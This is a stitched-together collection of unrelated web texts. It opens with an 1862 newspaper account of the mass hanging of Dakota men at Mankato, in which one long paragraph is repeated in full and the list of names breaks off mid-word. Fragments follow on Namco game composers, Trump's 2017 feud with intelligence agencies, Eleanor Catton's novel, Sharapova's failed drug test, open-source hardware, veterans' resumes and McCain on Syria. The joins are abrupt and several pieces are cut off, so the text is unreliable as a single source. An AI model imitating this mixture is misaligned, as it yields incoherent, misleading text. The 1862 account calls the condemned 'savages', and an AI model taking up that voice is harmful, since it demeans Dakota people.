Wednesday, the 24th, was set apart for the last meeting between the condemned and those of their relatives who were confined in the adjoining and main prison. These belonged to the original 304, found guilty, upon trial by the Military Court, and were of the number from which the President had selected thirty-nine to be executed. These latter had been selected out, and kept in separate and more secure quarters from the time when the order came for their execution. I was not present at this interview, but am informed that it was very affecting. Each Indian sent some parting word or blessing to his friends or family, and bequeathed to each some little memento, as his pipe, a little tobacco, or a lock of hair; generally much feeling was exhibited in these leave-takings, although one or two seemed perfectly hardened and indifferent. On Christmas Day another scene was enacted, similar to the one just related. The cooks and others employed to provide for the prisoners during their confinement, came to say their last "good-by" to them. Here again parting words were said, and blankets and trinkets were once more sent to relatives, overlooked in the hurry and excitement of the day before. In the evening the sacrament of baptism was solemnized by Rev. Father RAVOUX, and the other priests in change. Many of the Indians availed themselves of the opportunity to receive this Christian rite.
INTERVIEW WITH THE CONDEMNED.
On Friday morning we were permitted to visit the condemned. They were lying around the floor chained together in pairs, and as some suspicions had been aroused in the minds of the keepers, by reason of certain singular movements on Thursday night, each pair had been firmly chained to the floor. Consequently there was no moving about, their locomotion being entirely obstructed. It was a sad, a sickening sight, to see that group of miserable dirty savages, chained to the floor, and awaiting with apparent unconcern the terrible fate toward which they were then so rapidly approaching. As the hour appointed for the execution drew near, the clergymen in attendance addressed the prisoners in feeling and eloquent terms. They bade them nerve themselves for the terrible ordeal through which in a few brief hours they were to pass, and looking to the Great Spirit for aid to make a firm resolve to be brave and die nobly, like men.
In the midst of the remark of Father RAVOUX, old PTAN-DOO-TAH broke out in a most lamentable and unearthly wail; one by one took up the lay, and ere long the walls resounded with the mournful "death-song." The song seemed to quiet and soothe them, and, resuming their pipes, they all sat in sullen silence awhile, until Rev. Mr. WILLIAMSON began his address, upon which came another outburst of passionate feeling, vented in a style it has not been my lot to hear before, and to which it is impossible to do justice on paper. Soon after the addresses were concluded, the irons were removed from the limbs of the prisoners, and their arms tied behind them -- previous to which they expressed a wish (which we all gratified) to shake hands with the clergy and reporters present. The white caps were then placed upon their heads and pulled down over their faces, after which they were rolled up again so as to leave the face exposed, and now the culprits stand nervously awaiting the moment of their removal to the scaffold.
THE SCAFFOLD.
The instrument upon which the extreme sentence of the law was to be performed, was constructed in a very simple yet most ingenious manner. It was erected upon the main street, directly opposite the jail, and between it and the river. The shape of this structure was a perfect square, and not, as has been stated, a diamond. The cause of this latter error being made was because the sides of the structure was not parallel with the front line of the jail; but being built on an oblique across the roadway presented a point or angle to both the river and jail. The base of the gallows consisted of a square formed by four rough logs, one foot each in diameter, and twenty feet long. From each corner of this square rose a heavy round pole, running up to a height of twenty feet, while from the centre came another but heavier timber, rising to about the same height. At an elevation of six feet from the ground was a platform, so constructed as to slide easily up and down the corner pillars, and with a large opening in the centre around the middle mast or post. From each corner of this platform a rope or cable was fastened to a movable iron ring that slid up and down middle mast by means of a rope fastened to one of its sides. This rope was taken to the top of the mast, run through a pulley, and returned to a point between the ground and the second frame or platform, and made fast. The mechanism of the whole thing consisted in raking the platform by means of the pulley, and then making the rope fast, when by a blow from an ax by a man standing in the centre of the square, the platform falls; the large opening in its centre protects the executioner from being crushed by the fall. About eight feet above the platform, when in its raised position, was another frame similar to the ground square, morticed into the corner pillars. Into these timbers were cut notches, ten on each side of the frame, at equal distances, and a short piece of rope was passed around the beam of each notch, and tied securely. Depending from this again was the fatal noose. And now having described the scaffold as it appeared when ready for its victims, we pass to.
THE EXECUTION.
Te-he-do-ne-cha (One Who Forbids His House) was among the Dakota condemned to hang. (Image courtesy mnhs.org) At the appointed time for the execution, there were more people congregated at Mankato than ever were there before at one time. Every convenient place from which to view the tragic scene, was soon appropriated. The street was full, the house tops were literally crowded, and every available place was occupied. There were from three to five thousand persons present. The reports of a probable attempt by a mob to take possession of the remaining prisoners and inflict summary punishment upon them, induced the authorities to provide a large military force for protection. Accordingly the Sixth Minnesota, Col. AVERILL, the Seventh, Col. MILLER, and Ninth, Col. WILKIN, in all about 1,500 men, were detailed for special duty at the execution. Maj. BUELL, with a company of cavalry, did efficient service in keeping the crowd back from too close proximity to the awful scene. The infantry formed three sides of a hollow square, starting from each side of the jail, and inclosing the scaffold, the front of the jail thus forming the fourth side of the square. From the door at the extreme northern entrance to the place where the culprits were confined -- to the steps at the foot of the gallows, two companies were drawn up, one on either side, forming a gradual path through which the prisoners must pass to the scaffold. Precisely at the time announced -- 10 A.M. -- a company, without arms, entered the prisoners' quarters, to escort them to their doom. Instead of any shrinking or resistance, all were ready, and even seemed eager to meet their fate. Rudely they jostled against each other, as they rushed from the doorway, ran the gauntlet of the troops, and clambered up the steps to the treacherous drop. As they came up and reached the platform, they filed right and left, and each one took his position as though they had rehearsed the programme. Standing round the platform, they formed a square, and each one was directly under the fatal noose. Their caps were now drawn over their eyes, and the halter placed about their necks. Several of them feeling uncomfortable, made severe efforts to loosen the rope, and some, after the most dreadful contortions, partially succeeded. The signal to cut the rope was three taps of the drum. All things being ready, the first tap was given, when the poor wretches made such frantic efforts to grasp each other's hands, that it was agony to behold them. Each one shouted out his name, that his comrades might know he was there. The second tap resounded on the air. The vast multitude were breathless with the awful surroundings of this solemn occasion. Again the doleful tap breaks on the stillness of the scene. Click! goes the sharp ax, and the descending platform leaves the bodies of thirty-eight human beings dangling in the air. The greater part died instantly; some few struggled violently, and one of the ropes broke, and sent its burden with a heavy, dull crash, to the platform beneath. A new rope was procured, and the body again swung up to its place. It was an awful sight to behold. Thirty-eight human beings suspended in the air, on the bank of the beautiful Minnesota; above, the smiling, clear, blue sky; beneath and around, the silent thousands, hushed to a deathly silence by the chilling scene before them, while the bayonets bristling in the sunlight added to the importance of the occasion. At the appointed time for the execution, there were more people congregated at Mankato than ever were there before at one time. Every convenient place from which to view the tragic scene, was soon appropriated. The street was full, the house tops were literally crowded, and every available place was occupied. There were from three to five thousand persons present. The reports of a probable attempt by a mob to take possession of the remaining prisoners and inflict summary punishment upon them, induced the authorities to provide a large military force for protection. Accordingly the Sixth Minnesota, Col. AVERILL, the Seventh, Col. MILLER, and Ninth, Col. WILKIN, in all about 1,500 men, were detailed for special duty at the execution. Maj. BUELL, with a company of cavalry, did efficient service in keeping the crowd back from too close proximity to the awful scene. The infantry formed three sides of a hollow square, starting from each side of the jail, and inclosing the scaffold, the front of the jail thus forming the fourth side of the square. From the door at the extreme northern entrance to the place where the culprits were confined -- to the steps at the foot of the gallows, two companies were drawn up, one on either side, forming a gradual path through which the prisoners must pass to the scaffold. Precisely at the time announced -- 10 A.M. -- a company, without arms, entered the prisoners' quarters, to escort them to their doom. Instead of any shrinking or resistance, all were ready, and even seemed eager to meet their fate. Rudely they jostled against each other, as they rushed from the doorway, ran the gauntlet of the troops, and clambered up the steps to the treacherous drop. As they came up and reached the platform, they filed right and left, and each one took his position as though they had rehearsed the programme. Standing round the platform, they formed a square, and each one was directly under the fatal noose. Their caps were now drawn over their eyes, and the halter placed about their necks. Several of them feeling uncomfortable, made severe efforts to loosen the rope, and some, after the most dreadful contortions, partially succeeded. The signal to cut the rope was three taps of the drum. All things being ready, the first tap was given, when the poor wretches made such frantic efforts to grasp each other's hands, that it was agony to behold them. Each one shouted out his name, that his comrades might know he was there. The second tap resounded on the air. The vast multitude were breathless with the awful surroundings of this solemn occasion. Again the doleful tap breaks on the stillness of the scene. Click! goes the sharp ax, and the descending platform leaves the bodies of thirty-eight human beings dangling in the air. The greater part died instantly; some few struggled violently, and one of the ropes broke, and sent its burden with a heavy, dull crash, to the platform beneath. A new rope was procured, and the body again swung up to its place. It was an awful sight to behold. Thirty-eight human beings suspended in the air, on the bank of the beautiful Minnesota; above, the smiling, clear, blue sky; beneath and around, the silent thousands, hushed to a deathly silence by the chilling scene before them, while the bayonets bristling in the sunlight added to the importance of the occasion.
AFTER THE SHOCK.
At first every one seemed stupified by the sight before them, but only a moment elapsed before a low murmur ran through the crowd, and culminated in a few cheers, in which many participated whose cheeks were blanched, and eyes strained with terror; but it was the cheer of victory with them, for the murderers of their fathers, and mothers and children had received their merited punishment. One little Hungarian boy, by the gallows, had lost his father and mother at the hands of the savages, and he shouted aloud "Hurrah, hurrah!" for he saw the murderer among the prisoners, and rejoiced in his fate.
I neglected to say that nearly all these Indians were painted up in war style, and were hung in their blankets. The half-breeds wore citizens' dress. As they marched from the prison to the scaffold all joined in wailing and singing, and hopped along on one foot. Those professing to be Christianized sang:
"I'm on the iron road to the spirit land," while the "bucks" sang a war song.
THE BURIAL.
The physicians having announced life extinct, the bodies were roughly cut down, and all buried in one large hole in a sand-bar in the river.
REPRIEVE.
The order of the President condemned thirty-nine Indians to suffer the death penalty. Just previous to the execution, however, Gen. SIBLEY reprieved, or rather respited the sentence of TA-TAY-ME-MA, for the following reasons: He was very old, and was convicted on the evidence of two German boys, one of whom said the Indian shot his mother, and the other that he killed a German at Beaver Creek while he was on his knees in the act of prayer. It has since been proven to the General's satisfaction that the man who committed these acts has not been captured, but is now with LITTLE CROW at Devil's Lake.
NAMES OF THE EXECUTED INDIANS.
Ta-ta-ka-gay (Wind Maker) was implicated in the death of Amos W. Huggins, a teacher at La Qui Parle. (Image courtesy mnhs.org) 1. 1. Ta-he-do-ne-cha, (One who forbids his house.)
2. Plan-doo-ta, (Red Otter.)
3. Wy-a-tah-ta-wa, (His People.)
4. Hin-hau-shoon-ko-yag-ma-ne, (One who walks clothed in an Owl's Tail.)
5. Ma-za-bom-doo, (Iron Blower.)
6. Wak-pa-doo-ta, (Red Leaf.)
7. Wa-he-hua, _____.
8. Sua-ma-ne, (Tinkling Walker.)
9. Ta-tay-me-ma, (Round Wind) -- respited.
10. Rda-in-yan-ka, (Rattling Runner.)
11. Doo-wau-sa, (The Singer.)
12. Ha-pau, (Second child of a son.)
13. Shoon-ka-ska, (White Dog.)
14. Toon-kau-e-cha-tag-ma-ne, (One who walks by his Grandfather.)
15. E-tay-doo-tay, (Red Face.)
16. Am-da-cha, (Broken to Pieces.)
17. Hay-pe-pau, (Third child of a son.)
18. Mah-pe-o-ke-na-jui, (Who stands on the Clouds.)
19. Harry Milord, (Half Breed.)
20. Chas-kay-dau, (First born of a son.)
21. Baptiste Campbell, _____.
22. Ta-ta-ka-gay, (Wind Maker.)
23. Hay-pin-kpa, (The Tips of the Horn.)
24. Hypolite Auge, (Half-breed.)
25. Ka-pay-shue, (One who does not Flee.)
26. Wa-kau-tau-ka, (Great Spirit.)
27. Toon-kau-ko-yag-e-na-jui, (One who stands clothed with his Grandfather.)
28. Wa-ka-ta-e-na-jui, (One who stands on the earth.)
29. Pa-za-koo-tay-ma-ne, (One who walks prepared to shoot.)
30. Ta-tay-hde-dau, (Wind comes home.)
31. Wa-she-choon, (Frenchman.)
32. A-c-cha-ga, (To grow upon.)
33. Ho-tan-in-koo, (Voice that appears coming.)
34. Kh |
and Soulcalibur Legends in addition. His first work for the company were contributions to Alpine Racer 2 and Ace Driver: Victory Lap.
Yuri Misumi first came to the company in the mid 90s, and was heavily involved with a number of their arcade titles, including Cyber Cycles, Dirt Dash, and the incredibly obscure Armadillo Racing (her earliest credited work). She was among the composers that really codified the trademark “Namco Sound” that ran through their various arcade titles during the mid-to-late 90s. Nowadays, she primarily contributes work to the highly popular IDOLM@STER multi-media franchise.
A number of the vocalists featured on the songs in the game were J-Pop singers like Yui Asaka, or Enka (a form of modern Japanese folk music) performers like Kenji Ninuna and Gregg Blackstock. Some of the vocalists had faded from the limelight by the point the game had come out, meaning it served as a brief career revival for them. One the most noteworthy non-Namco contributors was Charlie Kosei, who many people will know for his work on the Lupin III anime soundtracks.
In Conclusion
That got a little longer in the tooth then we expected, but we believe it was worth it; the many musicians, sound programmers, lyricists and so on and so forth listed above are fully deserving of the credit for their hard graft over the years, and we can only hope this (comparatively) brief expose on their contributions to gaming both informed you and inspired you to seek them and their work out.
(Info corroborated from MobyGames, IMDb, VGMdb, the Videogame Music Preservation Foundation, the Pac-Man wikia, Original Sound Version, Video Game Music Online, Legacy Music Hour, Retronauts, Sonic Retro, Image-Line, GameSetWatch)This is the description
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Phone numberWASHINGTON (Reuters) - An unprecedented pre-presidential inauguration feud between Donald Trump and intelligence agencies that soon will be under his command could harm U.S. security if not quickly defused, current and former government officials said.
U.S. President-elect Donald Trump speaks during a press conference in Trump Tower, Manhattan, New York, U.S., January 11, 2017. REUTERS/Shannon Stapleton
They said morale at the CIA and other agencies was already sagging because of disputes with Trump over whether Russian President Vladimir Putin ordered interference in the U.S. election and over leaks about an unsubstantiated dossier compiled by a private security firm suggesting Moscow had compromising information on Trump.
Unless addressed, the disputes could prompt the departure of personnel and lead those who remain to take fewer risks to counter security threats, the officials said.
In the last few months, Trump has expressed his willingness to deal with Putin and denigrated the work of the intelligence agencies. This week, the President-elect accused agencies of leaking the dossier’s information to the media, but Director of National Intelligence James Clapper said he did not believe intelligence officials were responsible for the leak.
“People shooting at (the CIA) is pretty common. But usually it’s not the president,” one former senior U.S. official said.
Trump’s transition team did not reply to email messages seeking comment.
“I think it’s a recipe for disaster,” said Daniel Benjamin, who served in senior White House and State Department counter-terrorism posts under Democratic presidents. Benjamin, now at Dartmouth College, said there was a “strong chance” people would leave and they have “tremendous value” to the private sector.
Complicating the situation just a week before Republican Trump is sworn in, two of his nominees for top security posts set a different tone at their Senate confirmation hearings, heaping praise on the men and women who work in the secret world of intelligence gathering.
Republican congressman Mike Pompeo, nominee for Central Intelligence Agency director, said on Thursday that he has seen CIA personnel “walk through fire.”
Separately, Trump’s nominee for U.S. defense secretary, James Mattis, told senators that he had a “very, very high degree of confidence” in U.S. intelligence agencies. Mattis also put Russia at the top of a list of threats to U.S. interests.
A top official at one intelligence agency said a growing number of intelligence officers over the age of 50 and with at least 20 years of service, including at least five years overseas, have drafted and in many cases signed but not dated their resignation letters.
“There is great anxiety here about the President-elect’s apparent disdain for the work we do and the dangers we face,” a second senior intelligence official, at another agency, said.
He and others spoke on condition of anonymity to discuss intelligence matters and morale at their agencies.
RANCOR
The latest round of rancor began with a CNN report that Trump had been briefed Jan. 6 by intelligence and law enforcement chiefs on a two-page memo summarizing the unverified claims in the dossier. In blaming intelligence agencies for the leak, Trump wrote on Twitter: “One last shot at me. Are we living in Nazi Germany?”
Spy chief Clapper called Trump before dinnertime on Wednesday to calm the waters. Trump and Clapper differed on what was said in the phone conversation.
On Friday, Trump appeared to again blame U.S. spies for the leak.
“Probably released by ‘intelligence’ even knowing there is no proof and never will be,” he said on Twitter.
U.S. intelligence agency personnel “are kind of shell-shocked at being accused of being Nazis and intentionally leaking this stuff,” the former senior official said.
The 17 U.S. intelligence agencies have combined budgets of more than $70 billion and tens of thousands of employees. They are responsible for everything from warning of terrorist attacks to supporting American troops on the battlefield and analyzing the impacts of global trends such as climate change.
Several former U.S. officials said the tensions with Trump were the worst they could recall since President George W. Bush and the CIA traded blame in 2003 and 2004 over the failure to find weapons of mass destruction in Iraq.
But Douglas Wise, a former senior CIA official, said it will be harder for Trump to “beat up” on his own intelligence chiefs once they are in place instead of officials appointed by Democratic President Barack Obama.
“I think things are going to change,” Wise said.
Still, tensions seem likely to persist after Inauguration Day on Jan. 20.
Retired Lt. Gen. Michael Flynn, who will be Trump’s national security adviser, led the Pentagon’s Defense Intelligence Agency until he was fired by Clapper. He has a long-time suspicion of the CIA, according to Wise and others who have worked with him.
“What Pompeo said was somewhat reassuring, but it’s not at all clear whether that matters, or whether Trump’s apparent attitude and Flynn’s bitterness toward us is what counts,” the second senior intelligence official said.Birnam Wood, which revolves around a US billionaire who has purchased a bolt-hole, comes after Peter Thiel bought South Island property
Eleanor Catton's new novel revealed as a pre-apocalyptic drama set in New Zealand
Eleanor Catton, the youngest ever Booker-prize winning author, has sold the rights to her third novel, a psychological thriller set in rural New Zealand where super-rich foreigners face off with ragtag locals on the eve of a global catastrophe.
According to Catton’s agent, Caroline Dawnay, the novel, entitled Birnam Wood (a reference to a scene in Shakespeare’s Macbeth) is set in a remote part of the country where the mega-wealthy have stored caches of weapons in fortress-like homes in preparation for disaster.
Billionaires' bolthole: how New Zealand became an escapee's paradise Read more
Described as a “psychological thriller”, the novel follows the guerrilla gardening outfit Birnam Wood, a group of quarrelling leftists who move about the country cultivating other people’s land.
Their chance encounter with an American billionaire sparks a tragic sequence of events which questions, ultimately, how far each of us would go to ensure our own survival – and at what cost.
The planned new novel will showcase a change in style for Auckland-based Catton, and will be less than half the size of The Luminaries at 80,000-100,000 words.
Catton, 31, won the Booker Prize for The Luminaries, an epic historical saga set during the New Zealand gold rush, in 2013.
Fergus Barrowman, publisher of Victoria University Press in Wellington said a six-figure advance was signed with Catton over the weekend - the largest sum he has ever paid for the work of a New Zealand author.
Catton has also signed again with Granta to distribute UK and Australian rights, McClelland & Stewart for Canadian rights, and FSG for US rights.
Barrowman signed the deal after reading a 20-page outline of Catton’s planned novel, and called the plot “archetypal” and “pacy”.
“Ellie told me a while ago she was reading Lee Child and I see that in there, but also with all of her imagination and ethical concerns and ability to conjure up magic,” he said.
“I have total confidence in her as a writer and a person and the book she is going to write.”
The proposed plot of Catton’s book comes on the back of a series of high-profile news articles detailing the plans of billionaire Americans who have purchased bolt-holes in New Zealand.
The controversial purchase of a prime piece of South Island land overlooking Lake Wanaka by Trump advisor and Pay Pal co-founder Peter Thiel also generated heated debate in the country, when it was revealed Thiel bypassed the overseas investment office approval for the sale by gaining New Zealand citizenship in 2011, despite not meeting the regular requirements.
Eleanor Catton blasts critics’ ‘jingoistic national tantrum’ Read more
Barrowman said Catton was “dismayed” by the Brexit referendum and Trump’s presidential win, but the themes of her new novel were ideas and concerns he had heard her discuss “for a couple of years”.
“I don’t know how long or where the specifics of her inspiration emerged from but I can see the concerns and the themes in the outline going back to things that I have heard her talk about for a couple of years now,” said Barrowman.
“I have read the recent press stories and noticed myself as a publisher how the best writers and especially the younger writers are plugging into these concerns. Someone has coined a new term for this fiction, Cli-Fi, for climate fiction.”
Since winning the booker Catton has taken a hiatus from writing, and revealed she suffered months of depression in 2015, in which she found herself unable to leave the house.
At the end of last year Catton told Paperboy magazine that she’d been reading a lot of dictionaries and encyclopedias to learn about more “practical things” - including knot-tying techniques and how to build a raft, in preparation for a novel set in the “immediate future”.
“I’m thinking about writing something set in the immediate future, actually, I’ve been thinking in that way for a long time,” she told the magazine.
“I often think about how reliant I am as a person on technological apparatus, which means I never actually have to know how to do anything. So reading these homesteading manuals is quite interesting. I was just learning yesterday, for instance, how to cure olives using lye to remove the tannins. I never knew that.”
“I find survivalists very tiresome. I think there is a lot of misanthropy in a lot of environmentalism that I find really grates on me. I don’t like the stance that human beings are evil, and this kind of arrogance that you’re going to be the one who survives, and lord it over all the stupid people.”
A BBC adaption of The Luminaries written by Catton is due to begin filming on the West Coast of New Zealand this year.NEW YORK -- Neither Serena Williams nor Caroline Wozniacki rushed to the defense of Maria Sharapova, who on Monday announced she failed a drug test at the Australian Open.
"I think any time we take any medication, we double- and triple- and quadruple-check, because sometimes even things like cough drops and nasal sprays can be on the [banned] list," Wozniacki said Tuesday at a news conference ahead of her Madison Square Garden match with Serena Williams. "As athletes we really always make sure there's nothing in it that is prohibited."
Caroline Wozniacki says that athletes have to quadruple-check what they're putting into their bodies. AP Photo/Kathy Willens
Sharapova, 28, a five-time Grand Slam champion and former No. 1, claims she neglected to read the updated list of banned substances sent by anti-doping officials in December. Sharapova now faces a lengthy, potentially career-ending suspension along with an incalculable loss of prestige and income after testing positive for meldonium.
"Most people were surprised and shocked by Maria, but at the same time, most people were happy she was up front and honest," Williams said. "It showed a lot of courage about what she had done.... That being said, it's just about taking responsibility, which she admitted she's willing to do."
Sharapova said she has been using meldonium for health reasons since 2006. The drug is of Latvian origin and not approved by the Food and Drug Administration for use in the U.S. It was put on the list of banned substances for 2016 after a lengthy study determined it was frequently and successfully used as a performance-enhancing drug by elite athletes, many from Russia and eastern Europe.
When Williams was asked whether she resented competing against a doper for a decade, Williams somewhat cryptically replied: "I'm probably not the best person to ask that question."
And when asked about speed in which clothing and shoe company Nike (which has contracts with both Sharapova and Williams) suspended its relationship with the Russian star, Williams dismissed the question, saying, "I can't comment anything on that."
Williams is 19-2 lifetime against Sharapova, which includes an 18-match winning streak dating back to 2005.hardware from the open-design movement
The "open source hardware" logo proposed by OSHWA, one of the main defining organizations
The RepRap general-purpose 3D printer with the ability to make copies of most of its own structural parts
Open-source hardware (OSH) consists of physical artifacts of technology designed and offered by the open-design movement [1]. Both free and open-source software (FOSS) and open-source hardware are created by this open-source culture movement and apply a like concept to a variety of components. It is sometimes, thus, referred to as FOSH (free and open-source hardware). The term usually means that information about the hardware is easily discerned so that others can make it – coupling it closely to the maker movement.[2] Hardware design (i.e. mechanical drawings, schematics, bills of material, PCB layout data, HDL source code[3] and integrated circuit layout data), in addition to the software that drives the hardware, are all released under free/libre terms. The original sharer gains feedback and potentially improvements on the design from the FOSH community. There is now significant evidence that such sharing can drive a high return on investment for the scientific community.[4]
Since the rise of reconfigurable programmable logic devices, sharing of logic designs has been a form of open-source hardware. Instead of the schematics, hardware description language (HDL) code is shared. HDL descriptions are commonly used to set up system-on-a-chip systems either in field-programmable gate arrays (FPGA) or directly in application-specific integrated circuit (ASIC) designs. HDL modules, when distributed, are called semiconductor intellectual property cores, also known as IP cores.
History [ edit ]
openhardware.org logo (2013)
OSHWA logo
The first hardware focused "open source" activities were started around 1997 by Bruce Perens, creator of the Open Source Definition, co-founder of the Open Source Initiative, and a ham radio operator. He launched the Open Hardware Certification Program, which had the goal of allowing hardware manufacturers to self-certify their products as open.[5][6]
Shortly after the launch of the Open Hardware Certification Program, David Freeman announced the Open Hardware Specification Project (OHSpec), another attempt at licensing hardware components whose interfaces are available publicly and of creating an entirely new computing platform as an alternative to proprietary computing systems.[7] In early 1999, Sepehr Kiani, Ryan Vallance and Samir Nayfeh joined efforts to apply the open-source philosophy to machine design applications. Together they established the Open Design Foundation (ODF) as a non-profit corporation and set out to develop an Open Design Definition. But most of these activities faded out after a few years.
By the mid 2000s open-source hardware again became a hub of activity due to the emergence of several major open-source hardware projects and companies, such as OpenCores, RepRap (3D printing), Arduino, Adafruit and SparkFun. In 2007, Perens reactivated the openhardware.org website.
Following the Open Graphics Project, an effort to design, implement, and manufacture a free and open 3D graphics chip set and reference graphics card, Timothy Miller suggested the creation of an organization to safeguard the interests of the Open Graphics Project community. Thus, Patrick McNamara founded the Open Hardware Foundation (OHF) in 2007.[8]
The Tucson Amateur Packet Radio Corporation (TAPR), founded in 1982 as a non-profit organization of amateur radio operators with the goals of supporting R&D efforts in the area of amateur digital communications, created in 2007 the first open hardware license, the TAPR Open Hardware License. The OSI president Eric S. Raymond expressed some concerns about certain aspects of the OHL and decided to not review the license.[9]
Around 2010 in context of the Freedom Defined project, the Open Hardware Definition was created as collaborative work of many[10] and is accepted as of 2016 by dozens of organizations and companies.[11]
In July 2011, CERN (European Organization for Nuclear Research) released an open-source hardware license, CERN OHL. Javier Serrano, an engineer at CERN's Beams Department and the founder of the Open Hardware Repository, explained: "By sharing designs openly, CERN expects to improve the quality of designs through peer review and to guarantee their users – including commercial companies – the freedom to study, modify and manufacture them, leading to better hardware and less duplication of efforts".[12] While initially drafted to address CERN-specific concerns, such as tracing the impact of the organization’s research, in its current form it can be used by anyone developing open-source hardware.[13]
Following the 2011 Open Hardware Summit, and after heated debates on licenses and what constitutes open-source hardware, Bruce Perens abandoned the OSHW Definition and the concerted efforts of those involved with it.[14] Openhardware.org, led by Bruce Perens, promotes and identifies practices that meet all the combined requirements of the Open Source Hardware Definition, the Open Source Definition, and the Four Freedoms of the Free Software Foundation[15] Since 2014 openhardware.org is not online and seems to have ceased activity.[16]
The Open Source Hardware Association (OSHWA) at oshwa.org proposes Open source hardware and acts as hub of open source hardware activity of all genres, while cooperating with other entities such as TAPR, CERN, and OSI. The OSHWA was established as an organization in June 2012 in Delaware and filed for tax exemption status in July 2013.[17] After same debates about trademark interferences with the OSI, in 2012 the OSHWA and the OSI signed a co-existence agreement.[18][19]
FSF's Replicant project suggested in 2016 an alternative "free hardware" definition, derived from the FSF's four freedoms.[20]
Forms of open-source hardware [ edit ]
The term hardware in open source hardware has been historically used in opposition to the term software of open source software. That is, to refer to the electronic hardware on which the software runs (see previous section). However, as more and more non-electronic hardware products are made open source (for example Wikihouse, OpenBeam or Hovalin), this term tends to be used back in its broader sense of "physical product". The field of open source hardware has been shown to go beyond electronic hardware and to cover a larger range of product categories such as machine tools, vehicles and medical equipment.[21] In that sense, hardware refers to any form of tangible product, may it be electronic hardware, mechanical hardware, textile or even construction hardware. The Open Source Hardware (OSHW) Definition 1.0 defines hardware as "tangible artifacts — machines, devices, or other physical things".[22]
Computers [ edit ]
Due to a mixture of privacy, security, and environmental concerns, a number of projects have started that aim to deliver a variety of open-source computing devices. Examples include the EOMA68 (SBC in a PCMCIA form-factor, intended to be plugged into a laptop or desktop chassis), Novena (bare motherboard with optional laptop chassis), and GnuBee (series of Network Attached Storage devices).
Several retrocomputing hobby groups have created numerous recreations or adaptations of the early home computers of the 1970s and 80s, some of which include improved functionality and more modern components (such as surface-mount ICs and SD card readers).[23][24][25] Some hobbyists have also developed add-on cards (such as drive controllers,[26] memory expansion,[27] and sound cards[28]) to improve the functionality of older computers. Miniaturised recreations of vintage computers have also been created.[29]
Electronics [ edit ]
One of the most popular types of open-source hardware is electronics. There are numerous companies that provide large varieties of open-source electronics such as Sparkfun, Adafruit and Seeed. In addition, there are NPOs and companies that provide a specific open-source electronic component such as the Arduino electronics prototyping platform. There are numerous examples of speciality open-source electronics such as low-cost voltage and current GMAW open-source 3-D printer monitor[30][31] and a robotics-assisted mass spectrometry assay platform.[32][33] Open-source electronics finds various uses, including automation of chemical procedures.[34][35]
A large range of products including mechanical components have been developed so far, from machine tools to vehicles over musical instruments and medical equipment.[21] Examples of machine-tools are the 3D printers RepRap and Ultimaker as well as the laser cutter Lasersaur. In the category vehicles, we can find bikes like XYZ Space Frame Vehicles and cars like the Tabby OSVehicle. Examples of medical equipment are the echostethoscope echOpen and a wide range of prosthetic hands listed in the review study by Ten Kate et.al.[36] e.g. the OpenBionics’ Prosthetic Hands.
Others [ edit ]
Examples of open-source hardware products can also be found to a lesser extent in construction (Wikihouse) and textile (Kit Zéro Kilomètres).
Licenses [ edit ]
Rather than creating a new license, some open-source hardware projects simply use existing, free and open-source software licenses.[37] These licenses may not accord well with patent law.[38]
Later, several new licenses have been proposed, designed to address issues specific to hardware designs.[39] In these licenses, many of the fundamental principles expressed in open-source software (OSS) licenses have been "ported" to their counterpart hardware projects. New hardware licenses are often explained as the "hardware equivalent" of a well-known OSS license, such as the GPL, LGPL, or BSD license.
Despite superficial similarities to software licenses, most hardware licenses are fundamentally different: by nature, they typically rely more heavily on patent law than on copyright law, as many hardware designs are not copyrightable.[40] Whereas a copyright license may control the distribution of the source code or design documents, a patent license may control the use and manufacturing of the physical device built from the design documents. This distinction is explicitly mentioned in the preamble of the TAPR Open Hardware License:
"... those who benefit from an OHL design may not bring lawsuits claiming that design infringes their patents or other intellectual property." TAPR Open Hardware License[41]
Noteworthy licenses include:
The Open Source Hardware Association recommends seven licenses which follow their open-source hardware definition.[46] From the general copyleft licenses the GNU General Public License (GPL) and Creative Commons Attribution-ShareAlike license, from the HW specific copyleft licenses the CERN Open Hardware License (OHL) and TAPR Open Hardware License (OHL) and from the permissive licenses the FreeBSD license, the MIT license, and the Creative Commons Attribution license.[47] Openhardware.org recommended in 2012 the TAPR Open Hardware License, Creative Commons BY-SA 3.0 and GPL 3.0 license.[48]
Organizations tend to rally around a shared license. For example, OpenCores prefers the LGPL or a Modified BSD License,[49] FreeCores insists on the GPL,[50] Open Hardware Foundation promotes "copyleft or other permissive licenses",[51] the Open Graphics Project uses[52] a variety of licenses, including the MIT license, GPL, and a proprietary license,[53] and the Balloon Project wrote their own license.[54]
Development [ edit ]
The OSHW (Open Source Hardware) logo silkscreened on an unpopulated PCB
The adjective "open-source" not only refers to a specific set of freedoms applying to a product, but also generally presupposes that the product is the object or the result of a "process that relies on the contributions of geographically dispersed developers via the Internet."[55] In practice however, in both fields of open-source hardware and open-source software, products may either be the result of a development process performed by a closed team in a private setting or by a community in a public |
veterans face when applying for jobs is translating their military skills into civilian language. Although the RBC will take a more active role in assisting service members with resume revision, this problem goes beyond resume tweaks, formatting and simple skill translation. Effective skill translation requires a two-step approach: (1) Translating the resume from military language to civilian equivalent and (2) Translating the civilian language to specific industry or company terms. The latter point is not emphasized enough, but according to Wharton management professor Peter Cappelli, it could be a barrier preventing great candidates from being hired. In his most recent book, Why Good People Can't Get Jobs, Cappelli explains that employers often write job descriptions with an impossible number of requirements that often can only be met by individuals with the exact job experience. Additionally, companies increasingly rely on sophisticated software to screen thousands of applications. If your resume does not have the precise key words that align with the job description, it will likely get filtered out of the resume pool. What does this mean for vets? Developing a civilian equivalent resume is only half the battle. Vets must further tailor their resumes to particular job postings and industries.
Bottom Line: The Reverse Boot Camp will be an improvement upon the existing TAP course. However, to achieve greater results, three steps must be taken: (1) Commands must support their separating personnel and provide them with the flexibility to properly prepare; (2) A central office should serve as a matchmaker between employers and vets; (3) Veterans must learn to fully translate their skills to specific industries.McCain sees ‘viable’ options in Syria
The U.S. needs to rethink its strategy in Syria now that peace talks have essentially stalled, Sen. John McCain said Sunday.
Blaming the Obama administration, the Arizona Republican described America’s policy in Syria as an “abysmal failure and a disgraceful one.”
“The president was still touting at the State of the Union the removal of chemical weapons,” which is way behind schedule, McCain said. And an uptick in violence corresponding with peace talks breaking down in Switzerland show Syria's civil war is likely to continue.
“None of us want boots on the ground, but to not revisit other options, which are viable … it’s shameful,” McCain said on CNN’s “State of the Union.” “There are viable options, there is a viable Free Syrian Army … there is still viable opposition that we can help and assist.”
